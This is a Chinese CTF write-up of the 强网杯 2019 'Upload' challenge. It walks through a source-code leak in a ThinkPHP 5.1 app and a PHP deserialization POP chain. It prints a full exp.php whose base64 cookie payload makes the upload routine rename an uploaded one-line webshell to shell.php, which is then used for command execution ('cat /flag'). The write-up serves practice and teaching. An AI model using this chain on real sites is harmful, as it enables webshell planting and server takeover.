首页 > 其他分享 >[强网杯 2019]Upload

[强网杯 2019]Upload

时间:2023-01-08 23:24:39浏览次数:38  
标签:__ profile php Upload upload 强网杯 2019 filename public

[强网杯 2019]Upload

考点:1、文件上传 2、php反序列化攻击

进到页面里,存在注册功能,所以就不尝试先不尝试sql注入,先注册一个账号登陆进去

进去之后有一个上传文件功能,尝试上传文件,经过简单测试发现没有对内容进行严格的过滤,可以传进去一句话木马,但是发现最后的文件名是给定的,所以没有办法上传任意格式的文件。

在测试过程中发生了报错,发现是ThinkPHP V5.1.35 LTS,一般这种题都会有源码泄露,就简单尝试了下www.zip、web.zip,无果后就拿字典跑了一下,跑出来www.tar.gz源码泄露

image-20211218155348298

然后直接查看源码application/web/controller/*.php,这里看了其他大佬的解法,因为存在.idea文件,所以使用PhpStrom打开源码文件,可以直接查看到断点hint

image-20211218212301037

hint代码如下:

Index.php

public function login_check(){
    $profile=cookie('user');
    if(!empty($profile)){
        $this->profile=unserialize(base64_decode($profile));
        $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
        if(array_diff($this->profile_db,$this->profile)==null){
            return 1;
        }else{
            return 0;
        }
    }
}

Register.php

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

通过断点hint,我们很容易发现这里应该是要利用反序列化攻击,我们尝试逆向溯源的方法来构造pop链,通过查找魔术方法,我们很容以就能找到Profile.php中的魔术方法

public function __get($name)
{
    return $this->except[$name];
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

通过Index.php断点hint我们可以知道,在登录的时候,会在Cookie里获取user字段并且进行base解码反序列化,然后因为这题考的是upload所以我们去审计以下上传文件的代码

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }

    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";
        $this->ext_check();
    }
    if($this->ext) {
        if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

我们发现如果不进入第二个ifif(!empty($_FILES))的话,我们可以通过自定义参数进行再次对已经上传的文件进行复制操作,并且文件的名字我们可以自己定义。所以我们就可以写出以下的exp,具体实现原理请自行审计exp。

构造出的链子:

namespace app\web\controller
Register::__destruct => Profile::__call => Profile::__get => Profile::__call => Profile::upload_img

exp.php:

<?php
namespace app\web\controller;
class Register
{
    public $checker;
    public $registed;
    public function __construct()
    {
        $this->registed = false;
        $this->checker = new Profile();
    }
}

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $ext;
    public $except;
    public function __construct()
    {
        $this->except = ["index"=>"upload_img"];
        $this->filename_tmp = "./upload/0257760365ebfba938de33cd01f34156/f1af272d318a2aef209ce13f004a74f1.png";
        $this->filename = './upload/shell.php';
        $this->ext = "png";
        $this->checker = 0;
    }
}

$o = new Register();
echo base64_encode(serialize($o));

将生成的字符串传入Cookie中登录,直接访问/upload/shell.php就可以进行命令执行了,cat /flag获得flag

标签:__,profile,php,Upload,upload,强网杯,2019,filename,public
From: https://www.cnblogs.com/seizer/p/17035712.html

相关文章

  • [CISCN2019 华东南赛区]Double Secret
    [CISCN2019华东南赛区]DoubleSecret考点:1、RC4加密 2、FlaskのSSTI进去一脸懵逼,常规流程走一套啥也没发现然后先是看到了毫无用处的robots.txt,dirsearch扫了一遍也没......
  • [HarekazeCTF2019]encode_and_encode
    [HarekazeCTF2019]encode_and_encode考点:json_decode的unicode编码绕过进入题目后,很容易就可以看到源码query.php<?phperror_reporting(0);if(isset($_GET['source'......
  • [NCTF2019]SQLi
    [NCTF2019]SQLi考点:sqlbypass一道sql题,非常友好的给出了sqlquery,但想必也不简单sqlquery:select*fromuserswhereusername='1'andpasswd='1'这中语句非常典......
  • [SUCTF 2019]EasyWeb
    [SUCTF2019]EasyWeb考点:1、文件上传bypass 2、.htaccess的利用开局源代码<?phpfunctionget_the_flag(){//webadminwillremoveyouruploadfileevery20m......
  • 【题解】P5666 [CSP-S2019] 树的重心
    感觉对重心的理解更直观了一点。题意求一棵树上删去每一条边后两侧子树重心的编号和。\(n\leq3\times10^5\)思路神奇的清真数论。首先这里有一步很妙的操作:把整......
  • P8683 [蓝桥杯 2019 省 B] 后缀表达式
    题目描述给定 NN 个加号、 MM 个减号以及 N+M+1N+M+1 个整数 A_1,A_2,\cdots,A_{N+M+1}A1​,A2​,⋯,AN+M+1​,小明想知道在所有由这 NN 个加号、 MM 个减号以......
  • 【NOI2019】序列 题解(贪心模拟费用流)
    (感觉是有史以来自己代码最好看的一次贪心模拟费用流。LG传送门Solution1经过一番思考,不难发现我们可以根据题面建图跑费用流。具体见下图:(从@cmd大佬那里薅来的。)然......
  • tomcat远程代码执行漏洞(CVE-2019-0232)
    漏洞原理漏洞相关的代码在tomcat\java\org\apache\catalina\servlets\CGIServlet.java中,CGIServlet提供了一个cgi的调用接口,在启用enableCmdLineArguments参数时,会根......
  • BUUCTF | [[GXYCTF2019]BabyUpload
    知识点文件类型绕过......
  • sqlserver2019创建“可查询”“可创建视图”的用户
      ————————————(个人随笔,记录使用,仅供参考)一、SqlserverSSMS创建一个只读的用户1、用拥有管理权限的用户连接数据库(sa)2、选择“安全性”=》“登录名”=......